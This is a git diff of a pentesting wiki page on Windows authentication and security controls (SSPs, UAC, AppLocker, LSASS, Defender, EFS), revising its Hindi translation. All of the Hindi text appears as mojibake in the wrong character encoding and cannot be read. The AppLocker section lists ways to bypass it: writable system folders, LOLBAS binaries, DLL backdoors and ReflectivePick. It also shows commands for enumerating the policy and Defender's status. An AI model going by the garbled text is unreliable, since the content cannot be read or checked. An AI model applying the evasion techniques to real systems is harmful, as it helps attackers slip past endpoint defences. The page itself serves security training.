рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ Security Support Provider (SSP) рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдкреНрд░рддреНрдпреЗрдХ Windows рдорд╢реАрди рдХреЗ рдЕрдВрджрд░ DLL рдХреЗ рд░реВрдк рдореЗрдВ рд╕реНрдерд┐рдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рджреЛрдиреЛрдВ рдорд╢реАрдиреЛрдВ рдХреЛ рд╕рдВрд╡рд╛рдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдорд╛рди рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред -### Main SSPs +### рдореБрдЦреНрдп SSPs - **Kerberos**: рдкрд╕рдВрджреАрджрд╛ - %windir%\Windows\System32\kerberos.dll @@ -235,14 +235,14 @@ SSPI рдЙрди рджреЛ рдорд╢реАрдиреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рдк - %windir%\Windows\System32\Wdigest.dll - **Schannel**: SSL рдФрд░ TLS - %windir%\Windows\System32\Schannel.dll -- **Negotiate**: рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (Kerberos рдпрд╛ NTLM, рдЬрд┐рд╕рдореЗрдВ Kerberos рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╣реИ) +- **Negotiate**: рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (Kerberos рдпрд╛ NTLM, рдЬрд┐рд╕рдореЗрдВ Kerberos рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╣реИ) - %windir%\Windows\System32\lsasrv.dll -#### The negotiation could offer several methods or only one. +#### рдмрд╛рддрдЪреАрдд рдХрдИ рд╡рд┐рдзрд┐рдпрд╛рдБ рдпрд╛ рдХреЗрд╡рд▓ рдПрдХ рд╣реА рдкреЗрд╢ рдХрд░ рд╕рдХрддреА рд╣реИред ## UAC - User Account Control -[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реИ рдЬреЛ **рдЙрдЪреНрдЪ рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рд╣рдорддрд┐ рдкреНрд░реЙрдореНрдкреНрдЯ** рд╕рдХреНрд╖рдо рдХрд░рддреА рд╣реИред +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реИ рдЬреЛ **рдЙрдиреНрдирдд рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рд╣рдорддрд┐ рд╕рдВрдХреЗрдд** рд╕рдХреНрд╖рдо рдХрд░рддреА рд╣реИред {{#ref}} windows-security-controls/uac-user-account-control.md diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index becc3f1e7..41103a44e 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -2,17 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -## AppLocker рдиреАрддрд┐ +## AppLocker Policy рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ рдПрдХ рдЕрдиреБрдореЛрджрд┐рдд рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдпрд╛ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рд╕реВрдЪреА рд╣реИ рдЬреЛ рдПрдХ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдореМрдЬреВрдж рдФрд░ рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИред рдЗрд╕рдХрд╛ рд▓рдХреНрд╖реНрдп рдкрд░реНрдпрд╛рд╡рд░рдг рдХреЛ рд╣рд╛рдирд┐рдХрд╛рд░рдХ рдореИрд▓рд╡реЗрдпрд░ рдФрд░ рдЕрдкреНрд░реВрд╡реНрдб рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕реЗ рдмрдЪрд╛рдирд╛ рд╣реИ рдЬреЛ рдХрд┐рд╕реА рд╕рдВрдЧрдарди рдХреА рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╡реНрдпрд╛рд╡рд╕рд╛рдпрд┐рдХ рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЗ рд╕рд╛рде рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддрд╛ред -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рдХрд╛ **рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯрд┐рдВрдЧ рд╕рдорд╛рдзрд╛рди** рд╣реИ рдФрд░ рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рдХреЛ **рдпрд╣ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреМрди рд╕реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдФрд░ рдлрд╝рд╛рдЗрд▓реЗрдВ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ**ред рдпрд╣ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ, рд╕реНрдХреНрд░рд┐рдкреНрдЯ, рд╡рд┐рдВрдбреЛрдЬ рдЗрдВрд╕реНрдЯреЙрд▓рд░ рдлрд╝рд╛рдЗрд▓реЛрдВ, DLLs, рдкреИрдХреЗрдЬреНрдб рдРрдкреНрд╕, рдФрд░ рдкреИрдХреНрдб рдРрдк рдЗрдВрд╕реНрдЯреЙрд▓рд░ рдкрд░ **рд╕реВрдХреНрд╖реНрдо рдирд┐рдпрдВрддреНрд░рдг** рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред\ -рдпрд╣ рд╕рд╛рдорд╛рдиреНрдп рд╣реИ рдХрд┐ рд╕рдВрдЧрдарди **cmd.exe рдФрд░ PowerShell.exe** рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдХреБрдЫ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдореЗрдВ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, **рд▓реЗрдХрд┐рди рдЗрд╕реЗ рд╕рднреА рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ**ред +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рдХрд╛ **рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯрд┐рдВрдЧ рд╕рдорд╛рдзрд╛рди** рд╣реИ рдФрд░ рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рдХреЛ **рдпрд╣ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреМрди рд╕реА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдФрд░ рдлрд╝рд╛рдЗрд▓реЗрдВ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ**ред рдпрд╣ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ, рд╕реНрдХреНрд░рд┐рдкреНрдЯ, рд╡рд┐рдВрдбреЛрдЬ рдЗрдВрд╕реНрдЯреЙрд▓рд░ рдлрд╝рд╛рдЗрд▓реЛрдВ, DLLs, рдкреИрдХреЗрдЬреНрдб рдРрдкреНрд╕, рдФрд░ рдкреИрдХреНрдб рдРрдк рдЗрдВрд╕реНрдЯреЙрд▓рд░ рдкрд░ **рд╕реВрдХреНрд╖реНрдо рдирд┐рдпрдВрддреНрд░рдг** рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред\ +рдпрд╣ рд╕рд╛рдорд╛рдиреНрдп рд╣реИ рдХрд┐ рд╕рдВрдЧрдарди **cmd.exe рдФрд░ PowerShell.exe** рдФрд░ рдХреБрдЫ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдореЗрдВ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдХреЛ **рдмреНрд▓реЙрдХ рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЗрд╕реЗ рд╕рднреА рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ**ред -### рдЬрд╛рдВрдЪреЗрдВ +### Check -рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреМрди рд╕реА рдлрд╝рд╛рдЗрд▓реЗрдВ/рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдмреНрд▓реИрдХрд▓рд┐рд╕реНрдЯреЗрдб/рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯреЗрдб рд╣реИрдВ: -```powershell +Check which files/extensions are blacklisted/whitelisted: +```bash Get-ApplockerPolicy -Effective -xml Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections @@ -20,7 +20,7 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections $a = Get-ApplockerPolicy -effective $a.rulecollections ``` -рдпрд╣ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкрде AppLocker рджреНрд╡рд╛рд░рд╛ рд▓рд╛рдЧреВ рдХреА рдЧрдИ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдФрд░ рдиреАрддрд┐рдпреЛрдВ рдХреЛ рд╕рдорд╛рд╣рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд▓рд╛рдЧреВ рд╡рд░реНрддрдорд╛рди рдирд┐рдпрдореЛрдВ рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ: +рдпрд╣ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкрде AppLocker рджреНрд╡рд╛рд░рд╛ рд▓рд╛рдЧреВ рдХреА рдЧрдИ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдФрд░ рдиреАрддрд┐рдпреЛрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд▓рд╛рдЧреВ рд╡рд░реНрддрдорд╛рди рдирд┐рдпрдореЛрдВ рдХреЗ рд╕реЗрдЯ рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ: - `HKLM\Software\Policies\Microsoft\Windows\SrpV2` @@ -33,10 +33,10 @@ C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\windows\tracing ``` -- рд╕рд╛рдорд╛рдиреНрдпрддрдГ **рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп** [**"LOLBAS's"**](https://lolbas-project.github.io/) рдмрд╛рдЗрдирд░реАрдЬрд╝ рднреА AppLocker рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреА рд╣реИрдВред +- рд╕рд╛рдорд╛рдиреНрдпрддрдГ **рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп** [**"LOLBAS's"**](https://lolbas-project.github.io/) рдмрд╛рдЗрдирд░реАрдЬрд╝ AppLocker рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреА рд╣реИрдВред - **рдЦрд░рд╛рдм рд▓рд┐рдЦреЗ рдЧрдП рдирд┐рдпрдореЛрдВ рдХреЛ рднреА рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ** -- рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, **``**, рдЖрдк рдХрд╣реАрдВ рднреА рдПрдХ **рдлреЛрд▓реНрдбрд░ `allowed`** рдирд╛рдо рд╕реЗ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ рдЕрдиреБрдорддрд┐ рджреА рдЬрд╛рдПрдЧреАред -- рд╕рдВрдЧрдарди рдЕрдХреНрд╕рд░ **`%System32%\WindowsPowerShell\v1.0\powershell.exe` рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп** рдХреЛ **рдмреНрд▓реЙрдХ рдХрд░рдиреЗ** рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди **рдЕрдиреНрдп** [**PowerShell рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рд╕реНрдерд╛рдиреЛрдВ**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) рдХреЛ рднреВрд▓ рдЬрд╛рддреЗ рд╣реИрдВ рдЬреИрд╕реЗ рдХрд┐ `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` рдпрд╛ `PowerShell_ISE.exe`ред +- рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, **``**, рдЖрдк рдХрд╣реАрдВ рднреА рдПрдХ **рдлреЛрд▓реНрдбрд░ `allowed`** рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ рдЕрдиреБрдорддрд┐ рджреА рдЬрд╛рдПрдЧреАред +- рд╕рдВрдЧрдарди рдЕрдХреНрд╕рд░ **`%System32%\WindowsPowerShell\v1.0\powershell.exe` рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп** рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рдиреЗ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди **рдЕрдиреНрдп** [**PowerShell рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рд╕реНрдерд╛рдиреЛрдВ**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) рдХреЛ рднреВрд▓ рдЬрд╛рддреЗ рд╣реИрдВ рдЬреИрд╕реЗ рдХрд┐ `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` рдпрд╛ `PowerShell_ISE.exe`ред - **DLL рдкреНрд░рд╡рд░реНрддрди рдмрд╣реБрдд рдХрдо рд╕рдХреНрд╖рдо** рд╣реЛрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдЕрддрд┐рд░рд┐рдХреНрдд рд▓реЛрдб рдбрд╛рд▓ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдкрд░реАрдХреНрд╖рдг рдХреА рдорд╛рддреНрд░рд╛ред рдЗрд╕рд▓рд┐рдП **DLLs рдХреЛ рдмреИрдХрдбреЛрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ AppLocker рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░реЗрдЧрд╛**ред - рдЖрдк [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) рдпрд╛ [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **Powershell** рдХреЛрдб рдХреЛ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ AppLocker рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). @@ -48,7 +48,7 @@ C:\windows\tracing ### рд╕реНрдерд╛рдиреАрдп рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг (LSA) - LSASS -**рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** (рд╣реИрд╢ рдХрд┐рдП рдЧрдП) рдЗрд╕ рдЙрдкрдкреНрд░рдгрд╛рд▓реА рдХреА **рдореЗрдореЛрд░реА** рдореЗрдВ **рд╕рд╣реЗрдЬреЗ** рдЬрд╛рддреЗ рд╣реИрдВ рдПрдХрд▓ рд╕рд╛рдЗрди-рдСрди рдХрд╛рд░рдгреЛрдВ рдХреЗ рд▓рд┐рдПред\ +**рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** (рд╣реИрд╢ рдХрд┐рдП рдЧрдП) рдЗрд╕ рдЙрдкрдкреНрд░рдгрд╛рд▓реА рдХреА **рдореЗрдореЛрд░реА** рдореЗрдВ **рд╕рд╣реЗрдЬреЗ** рдЬрд╛рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╕рд┐рдВрдЧрд▓ рд╕рд╛рдЗрди-рдСрди рдХрд╛рд░рдгреЛрдВ рдХреЗ рд▓рд┐рдПред\ **LSA** рд╕реНрдерд╛рдиреАрдп **рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐** (рдкрд╛рд╕рд╡рд░реНрдб рдиреАрддрд┐, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреБрдорддрд┐рдпрд╛рдБ...), **рдкреНрд░рдорд╛рдгреАрдХрд░рдг**, **рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди**... рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рддрд╛ рд╣реИред\ LSA рд╡рд╣ рд╣реЛрдЧрд╛ рдЬреЛ **SAM** рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА **рдЬрд╛рдВрдЪ** рдХрд░реЗрдЧрд╛ (рд╕реНрдерд╛рдиреАрдп рд▓реЙрдЧрд┐рди рдХреЗ рд▓рд┐рдП) рдФрд░ рдПрдХ рдбреЛрдореЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ** рд╕реЗ **рдмрд╛рдд рдХрд░реЗрдЧрд╛**ред @@ -69,11 +69,11 @@ LSA рдХреБрдЫ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдбрд┐рд╕реНрдХ рдо ## рдбрд┐рдлреЗрдВрдбрд░ -[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) рдПрдХ рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рд╣реИ рдЬреЛ Windows 10 рдФрд░ Windows 11 рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╣реИ, рдФрд░ Windows Server рдХреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВред рдпрд╣ рд╕рд╛рдорд╛рдиреНрдп рдкреЗрдВрдЯреЗрд╕реНрдЯрд┐рдВрдЧ рдЙрдкрдХрд░рдгреЛрдВ рдЬреИрд╕реЗ **`WinPEAS`** рдХреЛ **рдмреНрд▓реЙрдХ** рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрди рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЛ **рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ** рдХреЗ рддрд░реАрдХреЗ рд╣реИрдВред +[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) рдПрдХ рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рд╣реИ рдЬреЛ Windows 10 рдФрд░ Windows 11 рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╣реИ, рдФрд░ Windows Server рдХреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВред рдпрд╣ рд╕рд╛рдорд╛рдиреНрдп рдкреЗрдВрдЯреЗрд╕реНрдЯрд┐рдВрдЧ рдЙрдкрдХрд░рдгреЛрдВ рдЬреИрд╕реЗ **`WinPEAS`** рдХреЛ **рдмреНрд▓реЙрдХ** рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрди рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЛ **рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ** рд╣реИрдВред -### рдЬрд╛рдВрдЪ +### рдЬрд╛рдВрдЪреЗрдВ -**рдбрд┐рдлреЗрдВрдбрд░** рдХреА **рд╕реНрдерд┐рддрд┐** рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк PS cmdlet **`Get-MpComputerStatus`** рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП **`RealTimeProtectionEnabled`** рдХрд╛ рдорд╛рди рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдпрд╣ рд╕рдХреНрд░рд┐рдп рд╣реИ): +**рдбрд┐рдлреЗрдВрдбрд░** рдХреА **рд╕реНрдерд┐рддрд┐** рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк PS cmdlet **`Get-MpComputerStatus`** рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдпрд╣ рд╕рдХреНрд░рд┐рдп рд╣реИ, **`RealTimeProtectionEnabled`** рдХрд╛ рдорд╛рди рдЬрд╛рдВрдЪреЗрдВ):
PS C:\> Get-MpComputerStatus
 
@@ -103,36 +103,36 @@ sc query windefend
 ```
 ## Encrypted File System (EFS)
 
-EFS рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдПрдХ **рд╕рдорд╛рдирд╛рдВрддрд░ рдХреБрдВрдЬреА** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдЬрд┐рд╕реЗ **рдлрд╛рдЗрд▓ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА (FEK)** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдХреБрдВрдЬреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА **рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА** рдХреЗ рд╕рд╛рде рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХреА рдЬрд╛рддреА рд╣реИ рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдлрд╝рд╛рдЗрд▓ рдХреЗ $EFS **рд╡реИрдХрд▓реНрдкрд┐рдХ рдбреЗрдЯрд╛ рд╕реНрдЯреНрд░реАрдо** рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХреА рдЬрд╛рддреА рд╣реИред рдЬрдм рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рддреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдбрд┐рдЬрд┐рдЯрд▓ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреА рд╕рдВрдмрдВрдзрд┐рдд **рдирд┐рдЬреА рдХреБрдВрдЬреА** рдХрд╛ рдЙрдкрдпреЛрдЧ FEK рдХреЛ $EFS рд╕реНрдЯреНрд░реАрдо рд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА [рдпрд╣рд╛рдВ](https://en.wikipedia.org/wiki/Encrypting_File_System) рдорд┐рд▓ рд╕рдХрддреА рд╣реИред
+EFS рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдПрдХ **рд╕рдорд╛рдирд╛рдВрддрд░ рдХреБрдВрдЬреА** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдЬрд┐рд╕реЗ **рдлрд╛рдЗрд▓ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА (FEK)** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдХреБрдВрдЬреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА **рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА** рдХреЗ рд╕рд╛рде рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХреА рдЬрд╛рддреА рд╣реИ рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдлрд╝рд╛рдЗрд▓ рдХреЗ $EFS **рд╡реИрдХрд▓реНрдкрд┐рдХ рдбреЗрдЯрд╛ рд╕реНрдЯреНрд░реАрдо** рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХреА рдЬрд╛рддреА рд╣реИред рдЬрдм рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рддреЛ 